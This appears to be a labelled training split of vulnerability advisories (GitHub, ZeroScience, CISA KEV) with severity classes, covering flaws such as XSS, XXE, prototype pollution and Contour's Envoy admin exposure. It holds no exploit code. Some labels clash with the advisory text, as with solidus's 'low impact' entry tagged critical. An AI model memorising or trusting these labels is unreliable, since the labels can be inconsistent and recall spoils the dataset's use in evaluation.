-{"id": "2aa83db36cc6fb5f9150", "text": "Manx cms.xml 1.0.1 Multiple HTTP Response Splitting Vulnerabilities", "text_raw": "Manx cms.xml 1.0.1 Multiple HTTP Response Splitting Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-11-28", "split": "train"}
-{"id": "62150edf645d85581995", "text": "NuCom 11N Wireless Router v5.07.90 Remote Privilege Escalation", "text_raw": "NuCom 11N Wireless Router v5.07.90 Remote Privilege Escalation\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2021-03-10", "split": "train"}
-{"id": "30646cf94f6307d82c9f", "text": "User can obtain JWT token even if account is disabled\n\nUsers can authenticate this way even if their user account is disabled. This is a high risk vulnerability when account disabling is used to block users' access to the system. (Someone who never had an account cannot exploit this vulnerability.) The fix ensures tokens are generated only for enabled user accounts, and is distributed via Composer as ezsystems/ezplatform-rest v1.3.8", "text_raw": "User can obtain JWT token even if account is disabled\n\n[Severity: HIGH]\n\nUsers can authenticate this way even if their user account is disabled. This is a high risk vulnerability when account disabling is used to block users' access to the system. (Someone who never had an account cannot exploit this vulnerability.) The fix ensures tokens are generated only for enabled user accounts, and is distributed via Composer as ezsystems/ezplatform-rest v1.3.8", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-29", "split": "train"}
-{"id": "d4c3802ec8674d4a607e", "text": "merge vulnerable to Prototype Pollution\n\nmerge is vulnerable to Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')", "text_raw": "merge vulnerable to Prototype Pollution\n\n[Severity: CRITICAL]\n\nmerge is vulnerable to Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-13", "split": "train"}
-{"id": "5ce93bb86bba44cf8d80", "text": "Corel Presentations X5 15.0.0.357 (shw) Remote Buffer Preoccupation PoC", "text_raw": "Corel Presentations X5 15.0.0.357 (shw) Remote Buffer Preoccupation PoC\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2010-07-12", "split": "train"}
-{"id": "c33a1ed9d480cb684d75", "text": "Improper Restriction of Rendered UI Layers or Frames in yourls\n\nyourls is vulnerable to Improper Restriction of Rendered UI Layers or Frames", "text_raw": "Improper Restriction of Rendered UI Layers or Frames in yourls\n\n[Severity: MEDIUM]\n\nyourls is vulnerable to Improper Restriction of Rendered UI Layers or Frames", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
-{"id": "639a667eba507bcac16b", "text": "Cobbler before 3.3.0 allows arbitrary file write operations via upload_log_data.", "text_raw": "Cobbler before 3.3.0 allows arbitrary file write operations via upload_log_data.\n\n[Severity: HIGH]", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-05", "split": "train"}
-{"id": "6659b0a0b0c4363956d1", "text": "An issue was discovered in Mayan EDMS before 3.0.3. The Tags app has XSS because tag label values are mishandled.", "text_raw": "Moderate severity vulnerability that affects mayan-edms\n\n[Severity: MEDIUM]\n\nAn issue was discovered in Mayan EDMS before 3.0.3. The Tags app has XSS because tag label values are mishandled.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-09-06", "split": "train"}
-{"id": "89c5163ce92f67261180", "text": "Timing side channel vulnerability in UIDL request handler in Vaadin 10, 11-14, and 15-18\n\nNon-constant-time comparison of CSRF tokens in UIDL request handler in `com.vaadin:flow-server` versions 1.0.0 through 1.0.13 (Vaadin 10.0.0 through 10.0.16), 1.1.0 prior to 2.0.0 (Vaadin 11 prior to 14), 2.0.0 through 2.4.6 (Vaadin 14.0.0 through 14.4.6), 3.0.0 prior to 5.0.0 (Vaadin 15 prior to 18), and 5.0.0 through 5.0.2 (Vaadin 18.0.0 through 18.0.5) allows attacker to guess a security token via timing attack.\n\n- https://vaadin.com/security/cve-2021-31404", "text_raw": "Timing side channel vulnerability in UIDL request handler in Vaadin 10, 11-14, and 15-18\n\n[Severity: MEDIUM]\n\nNon-constant-time comparison of CSRF tokens in UIDL request handler in `com.vaadin:flow-server` versions 1.0.0 through 1.0.13 (Vaadin 10.0.0 through 10.0.16), 1.1.0 prior to 2.0.0 (Vaadin 11 prior to 14), 2.0.0 through 2.4.6 (Vaadin 14.0.0 through 14.4.6), 3.0.0 prior to 5.0.0 (Vaadin 15 prior to 18), and 5.0.0 through 5.0.2 (Vaadin 18.0.0 through 18.0.5) allows attacker to guess a security token via timing attack.\n\n- https://vaadin.com/security/cve-2021-31404", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-19", "split": "train"}
-{"id": "91003526a4252ca90fc6", "text": "Insufficiently Protected Credentials and Improper Authentication in Spring Security\n\nSpring Security, versions 4.2.x up to 4.2.12, and older unsupported versions support plain text passwords using PlaintextPasswordEncoder. If an application using an affected version of Spring Security is leveraging PlaintextPasswordEncoder and a user has a null encoded password, a malicious user (or attacker) can authenticate using a password of ?null?.", "text_raw": "Insufficiently Protected Credentials and Improper Authentication in Spring Security\n\n[Severity: HIGH]\n\nSpring Security, versions 4.2.x up to 4.2.12, and older unsupported versions support plain text passwords using PlaintextPasswordEncoder. If an application using an affected version of Spring Security is leveraging PlaintextPasswordEncoder and a user has a null encoded password, a malicious user (or attacker) can authenticate using a password of ?null?.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-06-27", "split": "train"}
-{"id": "32ac171c64d097a92c6f", "text": "Phusion Passenger uses a known /tmp filename\n\nIn Phusion Passenger before 5.1.0, a known /tmp filename was used during passenger-install-nginx-module execution, which could allow local attackers to gain the privileges of the passenger user", "text_raw": "Phusion Passenger uses a known /tmp filename\n\n[Severity: HIGH]\n\nIn Phusion Passenger before 5.1.0, a known /tmp filename was used during passenger-install-nginx-module execution, which could allow local attackers to gain the privileges of the passenger user", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-21", "split": "train"}
-{"id": "9bc150137c27062cd241", "text": "Apple Multiple Products WebKit Integer Overflow Vulnerability\n\nAffected: Apple Multiple Products\n\nApple iOS, iPadOS, macOS, tvOS, and Safari WebKit contain an integer overflow vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20, CWE-190\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Apple Multiple Products WebKit Integer Overflow Vulnerability\n\nAffected: Apple Multiple Products\n\nApple iOS, iPadOS, macOS, tvOS, and Safari WebKit contain an integer overflow vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20, CWE-190\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "849c339e5cbe1d989545", "text": "Magento Cross-Site Scripting via Attribute Set Name\n\nA stored cross-site scripting (XSS) vulnerability exists in Magento 2.2 prior to 2.2.10, Magento 2.3 prior to 2.3.3 or 2.3.2-p1. An authenticated user can inject arbitrary JavaScript code into the attribute set name when listing the products.", "text_raw": "Magento Cross-Site Scripting via Attribute Set Name\n\n[Severity: MEDIUM]\n\nA stored cross-site scripting (XSS) vulnerability exists in Magento 2.2 prior to 2.2.10, Magento 2.3 prior to 2.3.3 or 2.3.2-p1. An authenticated user can inject arbitrary JavaScript code into the attribute set name when listing the products.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-11-12", "split": "train"}
-{"id": "50b602cc4d96f04f4114", "text": "Ansible fails to cache SSH host keys\n\nAnsible before 1.2.1 makes it easier for remote attackers to conduct man-in-the-middle attacks by leveraging failure to cache SSH host keys.", "text_raw": "Ansible fails to cache SSH host keys\n\n[Severity: CRITICAL]\n\nAnsible before 1.2.1 makes it easier for remote attackers to conduct man-in-the-middle attacks by leveraging failure to cache SSH host keys.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-10", "split": "train"}
-{"id": "02512d11134bbc777f05", "text": "XML External Entity (XXE) vulnerability in Square Retrofit\n\nSquare Open Source Retrofit versions prior to commit 4a693c5aeeef2be6c7ecf80e7b5ec79f6ab59437 contain a XML External Entity (XXE) vulnerability in JAXB. An attacker could use this to remotely read files from the file system or to perform SSRF. This vulnerability appears to have been fixed in commit 4a693c5aeeef2be6c7ecf80e7b5ec79f6ab59437.", "text_raw": "XML External Entity (XXE) vulnerability in Square Retrofit\n\n[Severity: CRITICAL]\n\nSquare Open Source Retrofit versions prior to commit 4a693c5aeeef2be6c7ecf80e7b5ec79f6ab59437 contain a XML External Entity (XXE) vulnerability in JAXB. An attacker could use this to remotely read files from the file system or to perform SSRF. This vulnerability appears to have been fixed in commit 4a693c5aeeef2be6c7ecf80e7b5ec79f6ab59437.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-12-21", "split": "train"}
-{"id": "74420653439f80586d20", "text": "Cross-site scripting in SocksJS-node\n\nhtmlfile in lib/transport/htmlfile.js in SockJS before 0.3.0 is vulnerable to Reflected XSS via the /htmlfile c (aka callback) parameter.", "text_raw": "Cross-site scripting in SocksJS-node\n\n[Severity: MEDIUM]\n\nhtmlfile in lib/transport/htmlfile.js in SockJS before 0.3.0 is vulnerable to Reflected XSS via the /htmlfile c (aka callback) parameter.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "5c5618b924c00803e433", "text": "AWS Lambda parser is vulnerable to Regular Expression Denial of Service\n\nindex.js in the aws-lambda-multipart-parser NPM package before 0.1.2 has a Regular Expression Denial of Service (ReDoS) issue via a crafted multipart/form-data boundary string.", "text_raw": "AWS Lambda parser is vulnerable to Regular Expression Denial of Service\n\n[Severity: HIGH]\n\nindex.js in the aws-lambda-multipart-parser NPM package before 0.1.2 has a Regular Expression Denial of Service (ReDoS) issue via a crafted multipart/form-data boundary string.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-03-05", "split": "train"}
-{"id": "704481a145b6a97c69d3", "text": "Message Signature Bypass in openpgp\n\nVersions of `openpgp` prior to 4.2.0 are vulnerable to Message Signature Bypass. The package fails to verify that a message signature is of type `text`. This allows an attacker to to construct a message with a signature type that only verifies subpackets without additional input (such as `standalone` or `timestamp`). For example, an attacker that captures a `standalone` signature packet from a victim can construct arbitrary signed messages that would be verified correctly.\n\n## Recommendation\n\nUpgrade to version 4.2.0 or later.\nIf you are upgrading from a version <4.0.0 it is highly recommended to read the `High-Level API Changes` section of the `openpgp` 4.0.0 release: https://github.com/openpgpjs/openpgpjs/releases/tag/v4.0.0", "text_raw": "Message Signature Bypass in openpgp\n\n[Severity: HIGH]\n\nVersions of `openpgp` prior to 4.2.0 are vulnerable to Message Signature Bypass. The package fails to verify that a message signature is of type `text`. This allows an attacker to to construct a message with a signature type that only verifies subpackets without additional input (such as `standalone` or `timestamp`). For example, an attacker that captures a `standalone` signature packet from a victim can construct arbitrary signed messages that would be verified correctly.\n\n\n## Recommendation\n\nUpgrade to version 4.2.0 or later.\nIf you are upgrading from a version <4.0.0 it is highly recommended to read the `High-Level API Changes` section of the `openpgp` 4.0.0 release: https://github.com/openpgpjs/openpgpjs/releases/tag/v4.0.0", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-08-23", "split": "train"}
-{"id": "b77f909ca845aff08def", "text": "Remote Memory Exposure in bl\n\nA buffer over-read vulnerability exists in bl <4.0.3, <3.0.1, <2.2.1, and <1.2.3 which could allow an attacker to supply user input (even typed) that if it ends up in consume() argument and can become negative, the BufferList state can be corrupted, tricking it into exposing uninitialized memory via regular .slice() calls.", "text_raw": "Remote Memory Exposure in bl\n\n[Severity: MEDIUM]\n\nA buffer over-read vulnerability exists in bl <4.0.3, <3.0.1, <2.2.1, and <1.2.3 which could allow an attacker to supply user input (even typed) that if it ends up in consume() argument and can become negative, the BufferList state can be corrupted, tricking it into exposing uninitialized memory via regular .slice() calls.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "6e1f205c57cf5e8e9125", "text": "Memory handling issues in xcb\n\nAn issue was discovered in the xcb crate through 2020-12-10 for Rust. base::Error does not have soundness. Because of the public ptr field, a use-after-free or double-free can occur.", "text_raw": "Memory handling issues in xcb\n\n[Severity: MEDIUM]\n\nAn issue was discovered in the xcb crate through 2020-12-10 for Rust. base::Error does not have soundness. Because of the public ptr field, a use-after-free or double-free can occur.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "e6f17cb382821c9e25cb", "text": "Command Injection in killing\n\nThis affects all versions of package killing up to and including 1.0.6. If attacker-controlled user input is given, it is possible for an attacker to execute arbitrary commands. This is due to use of the child_process exec function without input sanitization.", "text_raw": "Command Injection in killing\n\n[Severity: HIGH]\n\nThis affects all versions of package killing up to and including 1.0.6. If attacker-controlled user input is given, it is possible for an attacker to execute arbitrary commands. This is due to use of the child_process exec function without input sanitization.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "53e1a8b55cd1c477b293", "text": "personnummer/java vulnerable to Improper Input Validation\n\nThis vulnerability was reported to the personnummer team in June 2020. The slow response was due to locked ownership of some of the affected packages, which caused delays to update packages prior to disclosure.\n\n### Impact\n\nThis vulnerability impacts users who rely on the for last digits of personnummer to be a _real_ personnummer.\n\n### Patches\n\nThe issue have been patched in all repositories. The following versions should be updated to as soon as possible:\n\n[C#](https://github.com/advisories/GHSA-qv8q-v995-72gr) 3.0.2  \nD 3.0.1  \n[Dart](https://github.com/advisories/GHSA-4xh4-v2pq-jvhm) 3.0.3  \nElixir 3.0.0  \n[Go](https://github.com/advisories/GHSA-hv53-vf5m-8q94) 3.0.1  \n[Java](https://github.com/advisories/GHSA-q3vw-4jx3-rrr2) 3.3.0  \n[JavaScript](https://github.com/advisories/GHSA-vpgc-7h78-gx8f) 3.1.0  \nKotlin 1.1.0  \nLua 3.0.1  \n[PHP](https://github.com/advisories/GHSA-2p6g-gjp8-ggg9) 3.0.2  \nPerl 3.0.0  \n[Python](https://github.com/advisories/GHSA-rxq3-5249-8hgg) 3.0.2  \n[Ruby](https://github.com/advisories/GHSA-vp9c-fpxx-744v) 3.0.1  \n[Rust](https://github.com/advisories/GHSA-28r9-pq4c-wp3c) 3.0.0  \nScala 3.0.1  \nSwift 1.0.1\n\nIf you are using any of the earlier packages, please update to latest.\n\n### Workarounds\n\nThe issue arrieses from the regular expression allowing the first three digits in the last four digits of the personnummer to be\n000, which is invalid. To mitigate this without upgrading, a check on the last four digits can be made to make sure it's not\n000x.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Personnummer Meta](https://github.com/personnummer/meta/issues)\n* Email us at [Personnummer Email](mailto:security@personnummer.dev)", "text_raw": "personnummer/java vulnerable to Improper Input Validation\n\n[Severity: LOW]\n\nThis vulnerability was reported to the personnummer team in June 2020. The slow response was due to locked ownership of some of the affected packages, which caused delays to update packages prior to disclosure.\n\nThe vulnerability is determined to be low severity.\n\n### Impact\n\nThis vulnerability impacts users who rely on the for last digits of personnummer to be a _real_ personnummer.  \n\n### Patches\n\nThe issue have been patched in all repositories. The following versions should be updated to as soon as possible:\n\n[C#](https://github.com/advisories/GHSA-qv8q-v995-72gr) 3.0.2  \nD 3.0.1  \n[Dart](https://github.com/advisories/GHSA-4xh4-v2pq-jvhm) 3.0.3  \nElixir 3.0.0  \n[Go](https://github.com/advisories/GHSA-hv53-vf5m-8q94) 3.0.1  \n[Java](https://github.com/advisories/GHSA-q3vw-4jx3-rrr2) 3.3.0  \n[JavaScript](https://github.com/advisories/GHSA-vpgc-7h78-gx8f) 3.1.0  \nKotlin 1.1.0  \nLua 3.0.1  \n[PHP](https://github.com/advisories/GHSA-2p6g-gjp8-ggg9) 3.0.2  \nPerl 3.0.0  \n[Python](https://github.com/advisories/GHSA-rxq3-5249-8hgg) 3.0.2  \n[Ruby](https://github.com/advisories/GHSA-vp9c-fpxx-744v) 3.0.1  \n[Rust](https://github.com/advisories/GHSA-28r9-pq4c-wp3c) 3.0.0  \nScala 3.0.1  \nSwift 1.0.1  \n\nIf you are using any of the earlier packages, please update to latest.\n\n### Workarounds\n\nThe issue arrieses from the regular expression allowing the first three digits in the last four digits of the personnummer to be\n000, which is invalid. To mitigate this without upgrading, a check on the last four digits can be made to make sure it's not\n000x.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Personnummer Meta](https://github.com/personnummer/meta/issues)\n* Email us at [Personnummer Email](mailto:security@personnummer.dev)", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-09-23", "split": "train"}
-{"id": "71271147ad296eef3e0e", "text": "Null pointer dereference in TFLite's `Reshape` operator\n\n### Impact\nThe fix for [CVE-2020-15209](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15209) missed the case when the target shape of `Reshape` operator is given by the elements of a 1-D tensor. As such, the [fix for the vulnerability](https://github.com/tensorflow/tensorflow/blob/9c1dc920d8ffb4893d6c9d27d1f039607b326743/tensorflow/lite/core/subgraph.cc#L1062-L1074) allowed passing a null-buffer-backed tensor with a 1D shape:\n\n```cc\nif (tensor->data.raw == nullptr && tensor->bytes > 0) {\n  if (registration.builtin_code == kTfLiteBuiltinReshape && i == 1) {\n    // In general, having a tensor here with no buffer will be an error.\n    // However, for the reshape operator, the second input tensor is only\n    // used for the shape, not for the data. Thus, null buffer is ok.\n    continue;\n  } else {\n    // In all other cases, we need to return an error as otherwise we will\n    // trigger a null pointer dereference (likely).\n    ReportError(\"Input tensor %d lacks data\", tensor_index);\n    return kTfLiteError;\n  }\n}\n```\n\n### Patches\nWe have patched the issue in GitHub commit [f8378920345f4f4604202d4ab15ef64b2aceaa16](https://github.com/tensorflow/tensorflow/commit/f8378920345f4f4604202d4ab15ef64b2aceaa16).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Null pointer dereference in TFLite's `Reshape` operator\n\n[Severity: MEDIUM]\n\n### Impact\nThe fix for [CVE-2020-15209](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15209) missed the case when the target shape of `Reshape` operator is given by the elements of a 1-D tensor. As such, the [fix for the vulnerability](https://github.com/tensorflow/tensorflow/blob/9c1dc920d8ffb4893d6c9d27d1f039607b326743/tensorflow/lite/core/subgraph.cc#L1062-L1074) allowed passing a null-buffer-backed tensor with a 1D shape:\n\n```cc\nif (tensor->data.raw == nullptr && tensor->bytes > 0) {\n  if (registration.builtin_code == kTfLiteBuiltinReshape && i == 1) {\n    // In general, having a tensor here with no buffer will be an error.\n    // However, for the reshape operator, the second input tensor is only\n    // used for the shape, not for the data. Thus, null buffer is ok.\n    continue;\n  } else {\n    // In all other cases, we need to return an error as otherwise we will\n    // trigger a null pointer dereference (likely).\n    ReportError(\"Input tensor %d lacks data\", tensor_index);\n    return kTfLiteError;\n  }\n}\n```\n\n### Patches\nWe have patched the issue in GitHub commit [f8378920345f4f4604202d4ab15ef64b2aceaa16](https://github.com/tensorflow/tensorflow/commit/f8378920345f4f4604202d4ab15ef64b2aceaa16).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "c7718b835224abdfc6ba", "text": "Authentication Bypass by CSRF Weakness\n\n### Impact\nThe actual vulnerability has been discovered on `solidus_auth_devise`. See [GHSA-xm34-v85h-9pg2](https://github.com/solidusio/solidus_auth_devise/security/advisories/GHSA-xm34-v85h-9pg2) for details.\n\nThe security advisory here exists to provide an extra layer of security in the form of a monkey patch for users who don't update `solidus_auth_devise`. For this reason, it has been marked as low impact on this end.\n\n### Patches\nFor extra security, update `solidus_core` to versions `3.1.3`, `3.0.3` or `2.11.12`.\n\n### Workarounds\nLook at the workarounds described at [GHSA-xm34-v85h-9pg2](https://github.com/solidusio/solidus_auth_devise/security/advisories/GHSA-xm34-v85h-9pg2).\n\n### References\n- [GHSA-xm34-v85h-9pg2](https://github.com/solidusio/solidus_auth_devise/security/advisories/GHSA-xm34-v85h-9pg2).\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [solidus_auth_devise](https://github.com/solidusio/solidus_auth_devise/issues) or a discussion in [solidus](https://github.com/solidusio/solidus/discussions)\n* Email us at [security@solidus.io](mailto:security@soliidus.io)\n* Contact the core team on [Slack](http://slack.solidus.io/)", "text_raw": "Authentication Bypass by CSRF Weakness \n\n[Severity: CRITICAL]\n\n### Impact\nThe actual vulnerability has been discovered on `solidus_auth_devise`. See [GHSA-xm34-v85h-9pg2](https://github.com/solidusio/solidus_auth_devise/security/advisories/GHSA-xm34-v85h-9pg2) for details.\n\nThe security advisory here exists to provide an extra layer of security in the form of a monkey patch for users who don't update `solidus_auth_devise`. For this reason, it has been marked as low impact on this end.\n\n### Patches\nFor extra security, update `solidus_core` to versions `3.1.3`, `3.0.3` or `2.11.12`.\n\n### Workarounds\nLook at the workarounds described at [GHSA-xm34-v85h-9pg2](https://github.com/solidusio/solidus_auth_devise/security/advisories/GHSA-xm34-v85h-9pg2).\n\n### References\n- [GHSA-xm34-v85h-9pg2](https://github.com/solidusio/solidus_auth_devise/security/advisories/GHSA-xm34-v85h-9pg2).\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [solidus_auth_devise](https://github.com/solidusio/solidus_auth_devise/issues) or a discussion in [solidus](https://github.com/solidusio/solidus/discussions)\n* Email us at [security@solidus.io](mailto:security@soliidus.io)\n* Contact the core team on [Slack](http://slack.solidus.io/)\n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-11-18", "split": "train"}
-{"id": "3c62d33a8e75cb21dad1", "text": "Nokogiri::XML::Schema trusts input by default, exposing risk of XXE vulnerability\n\n### Severity\n\n### Description\n\nIn Nokogiri versions <= 1.11.0.rc3, XML Schemas parsed by `Nokogiri::XML::Schema` are **trusted** by default, allowing external resources to be accessed over the network, potentially enabling XXE or SSRF attacks.\n\nThis behavior is counter to the security policy followed by Nokogiri maintainers, which is to treat all input as **untrusted** by default whenever possible.\n\n### Affected Versions\n\nNokogiri `<= 1.10.10` as well as prereleases `1.11.0.rc1`, `1.11.0.rc2`, and `1.11.0.rc3`\n\n### Mitigation\n\nThere are no known workarounds for affected versions. Upgrade to Nokogiri `1.11.0.rc4` or later.\n\nIf, after upgrading to `1.11.0.rc4` or later, you wish to re-enable network access for resolution of external resources (i.e., return to the previous behavior):\n\n1. Ensure the input is trusted. Do not enable this option for untrusted input.\n2. When invoking the `Nokogiri::XML::Schema` constructor, pass as the second parameter an instance of `Nokogiri::XML::ParseOptions` with the `NONET` flag turned off.\n\nSo if your previous code was:\n\n``` ruby\n# in v1.11.0.rc3 and earlier, this call allows resources to be accessed over the network\n# but in v1.11.0.rc4 and later, this call will disallow network access for external resources\nschema = Nokogiri::XML::Schema.new(schema)\n\n# in v1.11.0.rc4 and later, the following is equivalent to the code above\n# (the second parameter is optional, and this demonstrates its default value)\nschema = Nokogiri::XML::Schema.new(schema, Nokogiri::XML::ParseOptions::DEFAULT_SCHEMA)\n```\n\nThen you can add the second parameter to indicate that the input is trusted by changing it to:\n\n``` ruby\n# in v1.11.0.rc3 and earlier, this would raise an ArgumentError \n# but in v1.11.0.rc4 and later, this allows resources to be accessed over the network\nschema = Nokogiri::XML::Schema.new(trusted_schema, Nokogiri::XML::ParseOptions.new.nononet)\n```\n\n### References\n\n- [This issue's public advisory](https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-vr8q-g5c7-m54m)\n- [Original Hackerone report (private)](https://hackerone.com/reports/747489)\n- [OWASP description of XXE attack](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing)\n- [OWASP description of SSRF attack](https://www.owasp.org/index.php/Server_Side_Request_Forgery)\n\n### Credit\n\nThis vulnerability was independently reported by @eric-therond and @gucki.\n\nThe Nokogiri maintainers would like to thank [HackerOne](https://hackerone.com/nokogiri) for providing a secure, responsible mechanism for reporting, and for providing their fantastic service to us.", "text_raw": "Nokogiri::XML::Schema trusts input by default, exposing risk of XXE vulnerability\n\n[Severity: MEDIUM]\n\n### Severity\n\nNokogiri maintainers have evaluated this as [__Low Severity__ (CVSS3 2.6)](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N).\n\n\n### Description\n\nIn Nokogiri versions <= 1.11.0.rc3, XML Schemas parsed by `Nokogiri::XML::Schema` are **trusted** by default, allowing external resources to be accessed over the network, potentially enabling XXE or SSRF attacks.\n\nThis behavior is counter to the security policy followed by Nokogiri maintainers, which is to treat all input as **untrusted** by default whenever possible.\n\nPlease note that this security fix was pushed into a new minor version, 1.11.x, rather than a patch release to the 1.10.x branch, because it is a breaking change for some schemas and the risk was assessed to be \"Low Severity\".\n\n\n### Affected Versions\n\nNokogiri `<= 1.10.10` as well as prereleases `1.11.0.rc1`, `1.11.0.rc2`, and `1.11.0.rc3`\n\n\n### Mitigation\n\nThere are no known workarounds for affected versions. Upgrade to Nokogiri `1.11.0.rc4` or later.\n\nIf, after upgrading to `1.11.0.rc4` or later, you wish to re-enable network access for resolution of external resources (i.e., return to the previous behavior):\n\n1. Ensure the input is trusted. Do not enable this option for untrusted input.\n2. When invoking the `Nokogiri::XML::Schema` constructor, pass as the second parameter an instance of `Nokogiri::XML::ParseOptions` with the `NONET` flag turned off.\n\nSo if your previous code was:\n\n``` ruby\n# in v1.11.0.rc3 and earlier, this call allows resources to be accessed over the network\n# but in v1.11.0.rc4 and later, this call will disallow network access for external resources\nschema = Nokogiri::XML::Schema.new(schema)\n\n# in v1.11.0.rc4 and later, the following is equivalent to the code above\n# (the second parameter is optional, and this demonstrates its default value)\nschema = Nokogiri::XML::Schema.new(schema, Nokogiri::XML::ParseOptions::DEFAULT_SCHEMA)\n```\n\nThen you can add the second parameter to indicate that the input is trusted by changing it to:\n\n``` ruby\n# in v1.11.0.rc3 and earlier, this would raise an ArgumentError \n# but in v1.11.0.rc4 and later, this allows resources to be accessed over the network\nschema = Nokogiri::XML::Schema.new(trusted_schema, Nokogiri::XML::ParseOptions.new.nononet)\n```\n\n\n### References\n\n- [This issue's public advisory](https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-vr8q-g5c7-m54m)\n- [Original Hackerone report (private)](https://hackerone.com/reports/747489)\n- [OWASP description of XXE attack](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing)\n- [OWASP description of SSRF attack](https://www.owasp.org/index.php/Server_Side_Request_Forgery)\n\n\n### Credit \n\nThis vulnerability was independently reported by @eric-therond and @gucki.\n\nThe Nokogiri maintainers would like to thank [HackerOne](https://hackerone.com/nokogiri) for providing a secure, responsible mechanism for reporting, and for providing their fantastic service to us.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-12-30", "split": "train"}
-{"id": "b3f10b30e47918235974", "text": "ExternalName Services can be used to gain access to Envoy's admin interface\n\n### Impact\nJosh Ferrell (@josh-ferrell) from VMware has reported that a specially crafted ExternalName type Service may be used to access Envoy's admin interface, which Contour normally prevents from access outside the Envoy container. This can be used to shut down Envoy remotely (a denial of service), or to expose the existence of any Secret that Envoy is using for its configuration, including most notably TLS Keypairs. However, it *cannot* be used to get the *content* of those secrets.\n\nSince this attack allows access to the administration interface, a variety of administration options are available, such as shutting down the Envoy or draining traffic. In general, the Envoy admin interface cannot easily be used for making changes to the cluster, in-flight requests, or backend services, but it could be used to shut down or drain Envoy, change traffic routing, or to retrieve secret metadata, as mentioned above.\n\n### Patches\nThe issue will be addressed in the forthcoming Contour v1.18.0 and a patch release, v1.17.1, has been released in the meantime.\n\nIt is addressed in two ways:\n- disabling ExternalName type Services by default\n- When ExternalName Services are enabled, block obvious \"localhost\" entries.\n\n#### Disable ExternalName type Services by default\n\n#### Block obvious `localhost` entries for enabled ExternalName Services\n\nAs part of this change set, we have added a filter in the event that operators *do* enable ExternalName Services, such that obvious `localhost` entries are rejected by Contour.\n\nThere are a number of problems with this method, however:\n- This is a porous control. As long as you control a domain name, it's trivially easy to add a DNS entry for any name you like that redirects to `127.0.0.1` or `::1`. Contour even provides `local.projectcontour.io` ourselves for testing and example purposes. (This name is, of course, included in the \"obvious localhost entries\" list.) So we can never totally stop this exploit as long as the admin interface is accessible on localhost, which, according to envoyproxy/envoy#2763, will be for some time if not forever. The best we can do is block some obvious elements, but this is always a risk for a motivated attacker.\n- We've actually suggested using `localhost` ExternalName Services in the past, to allow people to connect to sidecar External 